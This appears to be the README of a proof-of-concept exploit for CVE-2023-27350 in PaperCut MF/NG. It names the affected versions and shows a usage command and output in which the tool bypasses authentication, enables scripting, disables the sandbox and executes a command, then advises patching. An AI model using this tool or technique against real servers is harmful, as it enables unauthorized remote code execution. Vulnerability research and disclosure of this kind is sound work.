影响 PaperCut MF/NG 的 CVE-2023-27350 的 POC
##受影响的版本 'PaperCut MF 或 NG 版本 8.0 及以上(不包括已修补版本),适用于所有操作系统平台。'
此 POC 利用身份验证绕过漏洞,结合滥用内置脚本功能来执行代码。
python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command calc.exe
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
更新到最新版本,或按照 PaperCut 安全通告中的说明进行缓解
本软件仅出于学术研究和开发有效防御技术的目的而创建,除非获得明确授权,否则不得用于攻击系统。项目维护者对软件滥用不承担任何责任。请负责任地使用。